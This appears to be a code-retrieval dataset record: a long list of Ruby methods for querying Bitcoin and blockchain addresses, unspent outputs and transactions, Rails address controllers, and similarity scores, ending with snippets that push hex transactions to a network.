"def fetch_transactions_for(address)\n tid = api_request('queryTransactionInventory', { addresses: [address], limit: 1 })[\"txIds\"].first\n tid ? [fetch_transaction(tid, address: address)] : []\n end",
"def utxos(sources)\n txns = []\n sources.each do |hash|\n json = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/address').append(hash).append('unspent')\n )\n data = json['data']\n raise Sibit::Error, \"The address #{hash} not found\" if data.nil?\n txns = data['list']\n next if txns.nil?\n txns.each do |u|\n outs = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/tx').append(u['tx_hash']).add(verbose: 3)\n )['data']['outputs']\n outs.each_with_index do |o, i|\n next unless o['addresses'].include?(hash)\n txns << {\n value: o['value'],\n hash: u['tx_hash'],\n index: i,\n confirmations: u['confirmations'],\n script: [o['script_hex']].pack('H*')\n }\n end\n end\n end\n txns\n end",
"def unspent_transaction_outputs_of(public_key_hash)\n unspent_outputs = []\n unspent_transactions_of(public_key_hash).each do |tx|\n tx.v_out.each do |out|\n unspent_outputs.push(out) if out.locked_with?(public_key_hash)\n end\n end\n unspent_outputs\n end",
"def address_uxouts(address, opts = {})\n data, _status_code, _headers = address_uxouts_with_http_info(address, opts)\n data\n end",
"def mark_outputs_as_unspent(output_ids, on_disconnect)\n self.class.add_to_utxo_set(output_ids, on_disconnect)\n\n # mark these unspent all at once\n Toshi::Models::Output.where(id: output_ids)\n .update(spent: false, branch: Toshi::Models::Block::MAIN_BRANCH)\n end",
"def index\n @user_addresses = UserAddress.all\n end",
"def update_unspent_outputs(tx)\n if !tx.is_coinbase?\n tx.inputs.each do |txin|\n @storage.mark_output_as_spent(txin.prev_out, txin.prev_out_index)\n end\n end\n\n # Add unspent output\n tx.outputs.each_with_index do |txout, i|\n @storage.mark_output_as_unspent(tx.binary_hash, i)\n end\n end",
"def addresses\n query(:address)\n end",
"def fetch_transactions_for(address)\n super\n rescue Straight::Blockchain::Adapter::BitcoinAddressInvalid => e\n StraightServer.logger.warn \"Address #{address} seems to be invalid, ignoring it. #{e.message}\"\n return []\n rescue => ex\n StraightServer.logger.debug \"fetch_transactions_for #{address} failed: #{ex.inspect}\"\n return []\n end",
"def multi_addr(addresses)\n get(\"addr/\"+addresses.join(\",\")+\"/balance?noCache=1\")\n end",
"def list_internal_transactions_by_address(blockchain, network, address, opts = {})\n data, _status_code, _headers = list_internal_transactions_by_address_with_http_info(blockchain, network, address, opts)\n data\n end",
"def update_outputs_on_disconnect_block(block)\n unspent_output_ids, unavailable_output_ids = [], []\n block.tx.each do |tx|\n if !tx.is_coinbase?\n tx.inputs.each do |txin|\n if output = self.output_from_model_cache(txin.prev_out, txin.prev_out_index)\n unspent_output_ids << output.id\n end\n end\n end\n tx.outputs.each_with_index do |txout, index|\n if output = self.output_from_model_cache(tx.binary_hash, index)\n unavailable_output_ids << output.id\n end\n end\n end\n\n mark_outputs_as_unspent(unspent_output_ids, on_disconnect=true) if unspent_output_ids.any?\n mark_outputs_as_unavailable(unavailable_output_ids) if unavailable_output_ids.any?\n end",
"def get_uncached_addresses(addresses, suffix = '')\n ret = []\n addresses.each do |address|\n if cache_read(address + suffix) == nil\n ret << address\n end\n end\n return ret\n end",
"def transactions_by_address(address, options = {})\n agent.transactions_by_address(self['id'], address, options) do |data, resp|\n yield(data, resp) if block_given?\n end\n end",
"def load_output_cache(txs)\n query = ''\n tx_seen = {}\n txs.each{|tx|\n if query.bytesize > (1024*512)\n # Postgres' max stack depth is 2MB by default.\n # Matt's b39 would otherwise crash us here.\n load_output_cache_from_query(query)\n query = ''\n end\n # Fetch immediate outputs for this tx.\n query += (query.empty? ? '' : ' OR ') + \"(hsh = '#{tx.hash}')\"\n tx_seen[tx.hash] = true\n tx.in.each{|txin|\n # Fetch all spent prev outs too.\n next if txin.coinbase?\n next if tx_seen[txin.previous_output]\n if query.bytesize > (1024*512)\n load_output_cache_from_query(query)\n query = ' '\n else\n query += ' OR '\n end\n query += \"(hsh = '#{txin.previous_output}' AND position = #{txin.prev_out_index})\"\n }\n }\n load_output_cache_from_query(query) if !query.empty?\n end",
"def index\n @vendor_addresses = VendorAddress.all\n end",
"def get_addresses\n User.includes(:address)\n .where.not(addresses: {city: [nil, \"\"]})\n .map { |user| user.address }\nend",
"def index\n @account_addresses = AccountAddress.all\n end",
"def index\n\t\t@addresses = Address.all\t\n\tend",
"def index\n @q = Address.where([\"user_email = ?\", current_user.email]).ransack(params[:q])\n @addresses = @q.result(distinct: true)\n end",
"def index\n @electronic_addresses = ElectronicAddress.all\n end",
"def addresses\n @client.request('getaddressesbyaccount', name)\n end",
"def get_balance(address = nil)\n outputs = get_unspent_outputs(address.nil? ? [] : [oa_address_to_address(address)])\n colored_outputs = outputs.map{|o|o.output}\n sorted_outputs = colored_outputs.sort_by { |o|o.script.to_string}\n groups = sorted_outputs.group_by{|o| o.script.to_string}\n result = groups.map{|k, v|\n btc_address = script_to_address(v[0].script)\n sorted_script_outputs = v.sort_by{|o|o.asset_id unless o.asset_id}\n group_assets = sorted_script_outputs.group_by{|o|o.asset_id}.select{|k,v| !k.nil?}\n assets = group_assets.map{|asset_id, outputs|\n {\n 'asset_id' => asset_id,\n 'quantity' => outputs.inject(0) { |sum, o| sum + o.asset_quantity }.to_s,\n 'amount' => outputs.inject(0) { |sum, o| sum + o.asset_amount }.to_s,\n 'asset_definition_url' => outputs[0].asset_definition_url,\n 'proof_of_authenticity' => outputs[0].proof_of_authenticity\n }\n }\n {\n 'address' => btc_address,\n 'oa_address' => (btc_address.nil? || btc_address.is_a?(Array)) ? nil : address_to_oa_address(btc_address),\n 'value' => satoshi_to_coin(v.inject(0) { |sum, o|sum + o.value}),\n 'assets' => assets,\n 'account' => v[0].account\n }\n }\n address.nil? ? result : result.select{|r|r['oa_address'] == address}\n end",
"def index\n @ag_addresses = Ag::Address.all\n end",
"def addresses\n Array(@addresses)\n end",
"def address_results \n @address_results\n end",
"def unspents(wallet_id: default_wallet_id)\n call :get, '/wallet/' + wallet_id + '/unspents'\n end",
"def unspent_transactions_of(public_key_hash)\n unspent_txs = []\n spent_tx_outputs = {}\n\n each do |block|\n block.transactions.each do |tx|\n tx_id = tx.id.to_s\n catch :spent do\n tx.v_out.each.with_index do |out, out_id|\n if spent_tx_outputs[tx_id]\n spent_tx_outputs[tx_id].each do |spent_out|\n throw :spent if spent_out == out_id\n end\n end\n\n if out.locked_with?(public_key_hash)\n unspent_txs << tx\n end\n end\n end\n\n unless tx.coinbase?\n tx.v_in.each do |input|\n if input.uses_key?(public_key_hash)\n in_tx_id = input.tx_id.to_s\n\n spent_tx_outputs[in_tx_id] ||= []\n spent_tx_outputs[in_tx_id] << input.v_out\n end\n end\n end\n end\n end\n\n unspent_txs\n end",
"def index\n @addresses = Address.all\n end",
"def index\n @addresses = Address.all\n end",
"def balance_of(address)\n payload = Base58.decode(address).to_s(16)\n public_key_hash = payload.slice(0, payload.length - 4)\n unspent_txs = unspent_transaction_outputs_of(public_key_hash)\n unspent_txs.reduce(0) { |sum, tx_out| sum + tx_out.value }\n end",
"def transactions_by_address(account_id, address, options = {})\n out = nil\n currency = if options[:currency] then options[:currency] else blockchain_type end\n get(\"/v1/#{currency}/accounts/#{account_id}/transactions/address/#{address}\", options) do |resp|\n out = resp.data.map { |item| Cryptoprocessing::Transaction.new(self, item) }\n yield(out, resp) if block_given?\n end\n out\n end",
"def excluded_addresses\n @excluded_scan_targets[:addresses]\n end",
"def process_address_query_response(response_string = nil)\n response_string = $TestCheckoutWalletAddressLookup if response_string.nil?\n \n checkout_wallet_info = JSON.parse($TestCheckoutWalletAddressLookup)\n \n txs = checkout_wallet_info['txs']\n \n @string = \"\"\n @indent = 0\n \n plop_text \"Count of txs: #{txs.count}\\n\\n\"\n \n txs.each.with_index do |tx, i|\n @indent = 2\n \n outs = tx['out']\n inputs = tx['inputs']\n \n plop_text \"tx[#{i}]\\n\"\n \n inputs.each do |input|\n input = input[\"prev_out\"]\n @indent = 4\n \n plop_text \"Addr (input): #{input['addr']}\\n\"\n \n @indent += 2\n plop_text \"n: #{input['n']}\"\n plop_text \"value: #{input['value']}\\n\"\n end\n \n plop_text \"\\n\"\n \n outs.each do |out|\n @indent = 4\n plop_text \"Addr (out): #{out['addr']}\\n\"\n #binding.pry\n \n @indent += 2\n plop_text \"n: #{out['n']}\\n\"\n plop_text \"Value: #{out['value']}\\n\" # if unrecorded_valid_technical_bitcoin_payment?(tx, latest_height, out)\n # TODO: this is only partially finished...\n # create_bitcoin_payment_from_tx(tx, latest_height, out)\n end\n \n plop_text \"\\n\"\n end\n \n puts\n puts @string\n \n end",
"def addresses\n collect { |a| a.address }\n end",
"def internal_transactions(address, args = {})\n action = 'txlistinternal'\n transcations(action, address, nil, args)\n end",
"def index\n @address_records = AddressRecord.all\n end",
"def list_addresses\n Address.list(@id)\n end",
"def address_uxouts_with_http_info(address, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.address_uxouts ...'\n end\n # verify the required parameter 'address' is set\n if @api_client.config.client_side_validation && address.nil?\n fail ArgumentError, \"Missing the required parameter 'address' when calling DefaultApi.address_uxouts\"\n end\n # resource path\n local_var_path = '/api/v1/address_uxouts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'address'] = address\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Object>' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#address_uxouts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @reserved_addresses = ReservedAddress.all\n end",
"def addresses\n # prevent original array from being changed\n @addresses.dup\n end",
"def addresses\n @addresses\n end",
"def searchrawtransactions(bitcoinaddress, verbose=1)\n @api.request 'searchrawtransactions', bitcoinaddress, verbose\n end",
"def index\n @user_addresses = current_user.user_addresses\n end",
"def fetch_results!\n raise NoTargets if targets.empty?\n\n targets.uniq!\n\n puts 'searching the AUR...'\n results = Rpc.new(:multiinfo, *targets).call\n\n # we need the results in the order of our targets (so dependencies\n # are installed first). unfortunately, the rpc returns results\n # alphabetically. assumption is the reordering done here is\n # cheaper than making per-target rpc calls.\n targets.each do |target|\n if result = results.detect {|r| r.name == target}\n @results << result\n else\n raise NoResults.new(target)\n end\n end\n end",
"def index\n if address_type==\"Address\"\n @addresses = Address.find(:all)\n else\n @addresses = Address.find_all_by_type(address_type)\n end\n @addresses ||= []\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @addresses }\n end\n end",
"def index\n @person_addresses = PersonAddress.all\n end",
"def call_address_service\n addresses = []\n success = call_ok?(:address_search, make_request) do |body|\n ServiceClient.iterate_element(body[:address_list]) do |address|\n add_address(addresses, address) unless address.nil?\n end\n end\n [success, addresses]\n end",
"def index\n @ripple_addresses = RippleAddress.all\n end",
"def index\n\t\t@addresses = current_user.addresses\n\tend",
"def address_listing\n @addresses = current_user.addresses\n end",
"def index\n @sales_addresses = Sales::Address.all\n end",
"def fetch(wallet)\n query = { wallet: wallet, balance: { '$gt' => 1e-8 } }\n order = { balance: :desc }\n addresses = find_order_limit(query, order, 50)\n .map { |doc| Entities::Address.create_from(doc) }\n Entities::Wallet.create_from 'id' => wallet, 'name' => name(wallet),\n 'balance' => balance(wallet),\n 'size' => count(wallet),\n 'addresses' => addresses\n end",
"def all_payment_entries\n @ac = ApplicationController.new\n @payments = PaymentFromDestination.find(:all, :order => \"created_at\").reverse!\n end",
"def addresses\n @addresses ||= init_addresses\n end",
"def listunconfirmed(addr)\n json_get('address','unconfirmed',addr)['data']['unconfirmed']\n end",
"def private_ipaddresses\n # Create an array to hold the addresses\n addresses = []\n\n # Iterate around the filter that has been populated\n entries.each do |entry|\n entry.ip_configurations.each do |ip_config|\n addresses << ip_config['private_ipaddress']\n end\n end\n\n # return the array to the calling function\n addresses\n end",
"def index\n @addresses_people = AddressesPerson.all\n end",
"def find(address)\n get(\"#{domain}/unsubscribes/#{address}\")\n end",
"def index\n @addresses = current_user.addresses\n @address = Address.new\n end",
"def index\n @post_addresses = PostAddress.all\n end",
"def index\n @customer_addresses = CustomerAddress.all\n end",
"def index\n @addresses = Address.paginate(:page => params[:page], :per_page => 30).order('updated_at DESC')\n end",
"def normal_transactions(address, args = {})\n action = 'txlist'\n transcations(action, address, nil, args)\n end",
"def get_address_index(outputs, address)\n outputs.each_with_index {|out, index|\n if (out.parsed_script.get_addresses & [address]).any?\n # we found it\n return index\n end\n }\n return 0\n end",
"def outlinks\n return @outputs\n end",
"def full_address_array\n [name, address1, address2, city_state_zip].compact\n end",
"def full_address_array\n [name, address1, address2, city_state_zip].compact\n end",
"def network\n arr =\n self.credits.find(:all, :select => \"DISTINCT emails.address\", :joins => \"INNER JOIN users ON users.id = transactions.debtor_id INNER JOIN emails ON emails.user_id = users.id\", :conditions => [\"users.id != ?\", id]).map(&:address) +\n self.debts.find(:all, :select => \"DISTINCT emails.address\", :joins => \"INNER JOIN users ON users.id = transactions.creditor_id INNER JOIN emails ON emails.user_id = users.id\", :conditions => [\"users.id != ?\", id]).map(&:address)\n arr.uniq\n end",
"def update_outputs_on_connect_block(block)\n spent_output_ids, unspent_output_ids = [], []\n block.tx.each do |tx|\n if !tx.is_coinbase?\n tx.inputs.each do |txin|\n if output = self.output_from_model_cache(txin.prev_out, txin.prev_out_index)\n spent_output_ids << output.id\n end\n end\n end\n tx.outputs.each_with_index do |txout, index|\n if output = self.output_from_model_cache(tx.binary_hash, index)\n unspent_output_ids << output.id\n end\n end\n end\n\n mark_outputs_as_unspent(unspent_output_ids, on_disconnect=false) if unspent_output_ids.any?\n mark_outputs_as_spent(spent_output_ids) if spent_output_ids.any?\n end",
"def index\n @addresses = Address.order(:number).all\n end",
"def reconcile\n done = 0\n errors = 0\n all(show_empty: true).each do |a|\n after = @sibit.balance(a[:address])\n unless after == a[:value]\n set(a[:address], after)\n yield(a[:address], a[:value], after, a[:hot])\n end\n done += 1\n rescue Sibit::Error => e\n @log.info(\"Failed to reconcile #{a[:address]} Bitcoin address: #{e.message}\")\n errors += 1\n end\n @log.info(\"Reconciled #{done} Bitcoin addresses (#{errors} errors)\")\n end",
"def pay(address, satoshi)\n batch = {}\n unspent = 0\n @pgsql.exec('SELECT * FROM asset WHERE value > 0 ORDER BY value').each do |r|\n next if r['pvt'].nil?\n batch[r['address']] = @codec.decrypt(r['pvt'])\n unspent += r['value'].to_i\n break if unspent > satoshi\n end\n if unspent < satoshi\n raise \"Not enough funds to send #{satoshi}, only #{unspent} left in #{batch.count} Bitcoin addresses\"\n end\n txn = @sibit.pay(satoshi, '-L', batch, address, acquire)\n batch.each_key { |a| set(a, 0) }\n @log.info(\"Sent #{satoshi} to #{address} from #{batch.count} addresses: #{batch.keys.join(', ')}; \\\ntotal unspent was #{unspent}; tx hash is #{txn}\")\n txn\n end",
"def all\n @peersByAddr.values\n end",
"def all(options={})\n response = MLS.get('/addresses', options)\n MLS::Address::Parser.parse_collection(response.body)\n end",
"def get_unseen_atoms(opts = {})\n @hive_party.post('/atom_search', opts) unless opts[:application].nil?\n end",
"def index\n @external_payees = Payee.external_payees\n @account_payees = Payee.all_account_payees\n end",
"def index\n @microlocations = @address.microlocations\n end",
"def index\n @address_searches = AddressSearch.all\n end",
"def addresses\n options = (token && secret) ? {:access_token => token, :access_secret => secret} : {}\n @addresses ||= Address.find(username, options)\n end",
"def addresses\n options = (token && secret) ? {:access_token => token, :access_secret => secret} : {}\n @addresses ||= Address.find(username, options)\n end",
"def search\r\n @addresses = Address.find_by_address(params[:address])\r\n end",
"def mark_output_as_unspent(binary_tx_hash, output_index)\n @output_cache.mark_output_as_spent(binary_tx_hash, output_index, false)\n\n # Also mark outputs in the current block\n hash = Toshi::Utils.bin_to_hex_hash(binary_tx_hash)\n if dict = @current_block_transactions_map[hash]\n dict[:spent_outputs][output_index] = false\n end\n end",
"def index\n @weventaddresses = Weventaddress.all\n end",
"def index\n @client_addresses = ClientAddress.all\n end",
"def list_internal_transactions_by_address_with_http_info(blockchain, network, address, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: InternalApi.list_internal_transactions_by_address ...'\n end\n # verify the required parameter 'blockchain' is set\n if @api_client.config.client_side_validation && blockchain.nil?\n fail ArgumentError, \"Missing the required parameter 'blockchain' when calling InternalApi.list_internal_transactions_by_address\"\n end\n # verify enum value\n allowable_values = [\"ethereum\", \"ethereum-classic\", \"binance-smart-chain\"]\n if @api_client.config.client_side_validation && !allowable_values.include?(blockchain)\n fail ArgumentError, \"invalid value for \\\"blockchain\\\", must be one of #{allowable_values}\"\n end\n # verify the required parameter 'network' is set\n if @api_client.config.client_side_validation && network.nil?\n fail ArgumentError, \"Missing the required parameter 'network' when calling InternalApi.list_internal_transactions_by_address\"\n end\n # verify enum value\n allowable_values = [\"mainnet\", \"mordor\", \"testnet\", \"goerli\"]\n if @api_client.config.client_side_validation && !allowable_values.include?(network)\n fail ArgumentError, \"invalid value for \\\"network\\\", must be one of #{allowable_values}\"\n end\n # verify the required parameter 'address' is set\n if @api_client.config.client_side_validation && address.nil?\n fail ArgumentError, \"Missing the required parameter 'address' when calling InternalApi.list_internal_transactions_by_address\"\n end\n # resource path\n local_var_path = '/blockchain-data/{blockchain}/{network}/addresses/{address}/internal'.sub('{' + 'blockchain' + '}', CGI.escape(blockchain.to_s)).sub('{' + 'network' + '}', CGI.escape(network.to_s)).sub('{' + 'address' + '}', CGI.escape(address.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'context'] = opts[:'context'] if !opts[:'context'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ListInternalTransactionsByAddressR'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['ApiKey']\n\n new_options = opts.merge(\n :operation => :\"InternalApi.list_internal_transactions_by_address\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: InternalApi#list_internal_transactions_by_address\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_fetch_address( atts = {} )\n self.fetch_address = (self.fetch_address || {}).merge( atts )\n end",
"def get_all_results\n\t\tresult_array = []\n\t\tskip = 0\n\t\ttake = 1000\n\t\tloop do\n\t\t\tcurrent_result = get_data_from_result(execute_request(take, skip)[1])\n\t\t\tresult_array.concat(current_result)\n\t\t\tskip = skip + take\n\t\t\tbreak if current_result.size != take\n\t\tend\n\t\treturn result_array\n\tend",
"def discard_trip_outliers\n @drivers.each do |driver|\n driver.discard_trip_outliers\n end\n end",
"def index\n @reach_out_to_customers = ReachOutToCustomer.all\n end"
] |
[
"0.74234736",
"0.74061245",
"0.74047816",
"0.7228166",
"0.7008339",
"0.6902819",
"0.6902819",
"0.6883551",
"0.6491622",
"0.626691",
"0.5968497",
"0.58821744",
"0.58666724",
"0.5866372",
"0.57557076",
"0.55428255",
"0.5439235",
"0.5407304",
"0.5391183",
"0.52985644",
"0.5231512",
"0.51672053",
"0.51419365",
"0.51176095",
"0.50976455",
"0.5079612",
"0.5076021",
"0.5064932",
"0.5040771",
"0.49940237",
"0.4954659",
"0.49454188",
"0.49299312",
"0.4925967",
"0.49074712",
"0.49073365",
"0.48876393",
"0.48687038",
"0.4831894",
"0.48280212",
"0.48280212",
"0.48162767",
"0.4809997",
"0.47872964",
"0.4783232",
"0.47817174",
"0.47775137",
"0.47744173",
"0.47622734",
"0.4757353",
"0.47410926",
"0.47381955",
"0.47376218",
"0.47350472",
"0.47153255",
"0.47131538",
"0.46989647",
"0.46802408",
"0.46791542",
"0.4653624",
"0.46356508",
"0.46243715",
"0.4620532",
"0.45925483",
"0.45879844",
"0.45835435",
"0.4582242",
"0.45802847",
"0.45694497",
"0.4559955",
"0.45456153",
"0.4543403",
"0.454178",
"0.45366275",
"0.45351714",
"0.45270562",
"0.45222384",
"0.45189017",
"0.45189017",
"0.45178092",
"0.45161483",
"0.45031747",
"0.44956964",
"0.44950682",
"0.44809818",
"0.4478412",
"0.44770417",
"0.447641",
"0.4476303",
"0.446472",
"0.44596937",
"0.44596937",
"0.44582972",
"0.4454332",
"0.4442214",
"0.4437528",
"0.44369853",
"0.44326752",
"0.4426501",
"0.4420476",
"0.44181728"
] |
0.0
|
-1
|
Push this transaction (in hex format) to the network.
|
def push(hex)
best_of('push') do |api|
api.push(hex)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def push(hex)\n Sibit::Json.new(http: @http, log: @log).post(\n Iri.new('https://api.blockchair.com/bitcoin/push/transaction').fragment(the_key),\n \"data=#{hex}\"\n )\n @log.info(\"Transaction (#{hex.length} in hex) has been pushed to Blockchair\")\n end",
"def send\n Chain.send_transaction(hex)\n end",
"def push(_hex)\n raise Sibit::NotSupportedError, 'Not implemented yet'\n end",
"def push(_hex)\n raise Sibit::NotSupportedError, 'Btc.com doesn\\'t provide payment gateway'\n end",
"def push(packet); end",
"def handle_store_tx hex\n tx = Bitcoin::P::Tx.new(hex.htb)\n @node.queue << [:tx, tx]\n { queued: [ :tx, tx.hash ] }\n end",
"def sendrawtransaction(hexstring)\n @api.request 'sendrawtransaction', hexstring\n end",
"def push_transaction(transaction)\n @transactions[Thread.current] << transaction\n end",
"def send_transaction(tx)\n sendrawtransaction(tx)\n end",
"def on_tx(tx)\n log.debug { \">> tx: #{tx.hash} (#{tx.payload.size} bytes)\" }\n @node.queue.push([:tx, tx])\n end",
"def add_to_transaction(*)\n @connection.add_transaction_record(self)\n end",
"def push\n @instructions << Instruction.new(:push)\n self\n end",
"def relay_transaction_to_peers(tx)\n # this is for peers\n @mq.workers_push_all({ 'msg' => 'relay_tx', 'hash' => tx.hash })\n # this is for websocket consumers\n @mq.clients_push_all({ 'msg' => 'new_transaction', 'hash' => tx.hash })\n end",
"def eth_sendRawTransaction(data)\r\n response = do_request(\"eth_sendRawTransaction\",[data])\r\n response[\"result\"]\r\n end",
"def transfer(*args)\n commit 'MassPay', build_mass_pay_request(*args)\n end",
"def signrawtransaction(hexstring, transaction = nil, privatekey =nil, sighashtype = \"ALL\")\n @api.request 'signrawtransaction', hexstring, transaction, privatekey, sighashtype\n end",
"def apush\n socket = EM::Synchrony::TCPSocket.new('localhost', 22195)\n socket.write(to_bytes)\n socket.close\n end",
"def publish!(wallet)\n tx = self.sign(wallet)\n tx.commit\n tx.attributes[:id]\n end",
"def add_transaction\n\t\t\t@@transactions << self\n\t\tend",
"def call_with_transaction(from_, address, sig, args, gas = nil, gasPrice = nil, value = nil)\n gas = gas or DEFAULT_GAS_PER_TX\n gasPrice = gasPrice or DEFAULT_GAS_PRICE\n data = self._encode_function(sig, args)\n data_hex = RLP::Utils.encode_hex(data)\n eth_sendTransaction(from: from_,\n to: address, data: data_hex, gas: gas,\n gasPrice: gasPrice, value: value)\n end",
"def push!\n\t\t@balance.balance += @bet\n\t\t@bet = 0\n\tend",
"def to(queue)\n queue.push(pack)\n end",
"def push_transactions\n AirdropMint.push_transactions_for_pending_rewards(user)\n end",
"def encode\n Logger.debug \"encoding #{self.inspect}\"\n class_mapper = RocketAMF::ClassMapper.new\n ser = RocketAMF::Serializer.new class_mapper\n\n if amf3?\n ser.stream << \"\\x00\"\n end\n\n ser.serialize 0, command\n ser.serialize 0, transaction_id\n\n if amf3?\n ser.stream << \"\\x05\"\n ser.stream << \"\\x11\"\n ser.serialize 3, values.first\n else\n values.each do |value|\n ser.serialize 0, value\n end\n end\n\n ser.stream\n end",
"def push(source)\n prefix, encoding = source.prefix_and_encoding\n emit prefix if prefix\n emit 0x50 | encoding\n end",
"def save!\n raise Glueby::Contract::Errors::TxAlreadyBroadcasted if @txid\n\n @tx = create_tx(@wallet, @prefix, Tapyrus.sha256(@content), @fee_provider)\n @txid = @wallet.internal_wallet.broadcast(@tx)\n end",
"def enqueue(transaction)\n agent.enqueue(transaction)\n end",
"def hex\n @hex = DatatypeConverter.printHexBinary(build.unsafeBitcoinSerialize());\n end",
"def push(entry)\n exchange.publish(Marshal.dump(entry), :key => queue_name)\n end",
"def <<(xpb)\n @packets << xpb\n end",
"def transmit(bytes)\n @transmitter.value = bytes\n end",
"def send(from, to, ether)\n wei_to_send = (ether * DECIMALS_18).round\n value = '0x' + wei_to_send.to_s(16)\n tx = { from: from, to: to, value: value }\n @client.eth_sendTransaction(tx)[:response]\n end",
"def add_transaction(t)\n @transactions << t\n end",
"def tx_created\n if params[:type] == 'transaction' && params[:hash].present?\n AMQPQueue.enqueue(:deposit_coin, txid: params[:hash], currency: params[:ccy])\n head :no_content\n else\n head :unprocessable_entity\n end\n end",
"def sendEtherForGas(etherAccount)\n set_client(SUPPLIER_ADDRESS, SUPPLIER_PASSWORD)\n @client.eth_send_transaction({\n \"from\": SUPPLIER_ADDRESS,\n \"to\": etherAccount,\n \"value\": \"0x3b9aca00\"\n })\n puts \"Success send ether from #{SUPPLIER_ADDRESS} to #{etherAccount}\"\n end",
"def push(x)\n @store << x\n \n end",
"def sign(wallet)\n tx = Arweave::Transaction.new(data: @commit.message.to_s)\n @commit.to_tags.each do |name, value|\n tx.add_tag(name: name, value: value)\n end\n tx.sign(wallet)\n end",
"def sign_transaction(tx)\n signed_tx = respond_to?(:signrawtransactionwithwallet) ? signrawtransactionwithwallet(tx) : signrawtransaction(tx)\n raise OpenAssets::Error, 'Could not sign the transaction.' unless signed_tx['complete']\n Bitcoin::Protocol::Tx.new(signed_tx['hex'].htb)\n end",
"def push(hash = {})\n @stack.push(hash)\n self\n end",
"def push(x)\n @s1 << x\n end",
"def push_transfer(params)\n params[:grsp] = params.delete :reseller\n\n run_command :rsp2rsp_push_transfer, nil, params\n end",
"def public_upload_string(data, logging_address_as_hex, txfee=3000)\n Bitcoin::network = @network\n utxo = get_utxo()\n if utxo == nil then\n raise InsufficientConfirmationError\n end\n destination_address = Bitcoin::encode_segwit_address(0, logging_address_as_hex) # is \"ESPKEN_VTUBER_KOSEKI\" (20 bytes) in hex\n change_address = @rpc.getnewaddress('', 'bech32')\n rawtx = @rpc.createrawtransaction([utxo], {'data' => data.unpack('H*')[0], destination_address => 0, change_address => utxo['amount'] - 0.00000001*txfee})\n signedtx = @rpc.signrawtransactionwithwallet(rawtx)['hex']\n @rpc.sendrawtransaction(signedtx)\n end",
"def transmit(command, options={})\n client.connection.transmit(command, **options)\n end",
"def add_transaction(transaction)\n transactions.push transaction\n end",
"def push(x)\n @store << x\n end",
"def push(x)\n stack.push(x)\n end",
"def push\n end",
"def TXS(address:)\n @stack_pointer = @x_register\n end",
"def push(x)\n @stack1 << x\n end",
"def pack(arg)\n [self].pack(arg)\n end",
"def to_raw_tx\n connection.request self.class.to_create_request, to_params\n end",
"def op_push(arg)\n push arg\n end",
"def transaction(message, &block)\n store.transaction(message, &block)\n end",
"def create_packet(lookup_host, transaction_ID) \n packet = [transaction_ID, FLAGS, QUESTIONS, ANSWERS, AUTHORITY_RRS, ADDITIONAL_RRS].pack(\"S>S>S>S>S>S>\")\n packet += encode_lookup_host(lookup_host)\n packet += [TYPE_A, CLASS_IN].pack(\"S>S>\")\n \n return packet\nend",
"def push(x)\n \n end",
"def push(x)\n \n end",
"def new_transaction(sender, recipient, amount, fing, act)\n Redis.new.publish('Blockchain.new_transaction', \"#{sender} #{recipient} #{amount} #{fing} #{act}\")\n @action.incr(\"#{recipient}:#{act}\")\n @finger.incr(\"#{recipient}##{fing.join(':')}\")\n user(sender).coins.decrement(amount)\n user(recipient).coins.increment(amount)\n h = {\n epoch: Time.now.utc.to_f,\n sender: sender,\n recipient: recipient,\n amount: amount,\n fingerprint: fing,\n act: act\n }\n @current_transactions << h\n last_block[:index] + 1\n return h\n end",
"def push(x)\n @stack << x\n end",
"def push(model)\n key.call(\"RPUSH\", model.id)\n end",
"def push(packet)\n socket.queue_packet(packet)\n process_waiting\n end",
"def push_int(i)\n stack << Script.encode_number(i)\n end",
"def create(transaction)\n $db.connection.execute(\n \"INSERT INTO pending_transactions (id, payload) VALUES (?, ?)\",\n [ transaction[\"id\"], transaction.to_json ],\n )\n end",
"def to_transaction\n Transaction.create(name: \"From Order\", user_id: user.id, amount: cart.cash_back)\n end",
"def push(x)\n @stack << x \n end",
"def to_hex\n BTC.to_hex(self.data)\n end",
"def push\n if @tags.empty?\n gash.send(:git, 'push', @push_to, @refspec)\n else\n gash.send(:git, 'push', '--tags', @push_to, @refspec)\n end\n end",
"def push(x)\n @stack << x\n end",
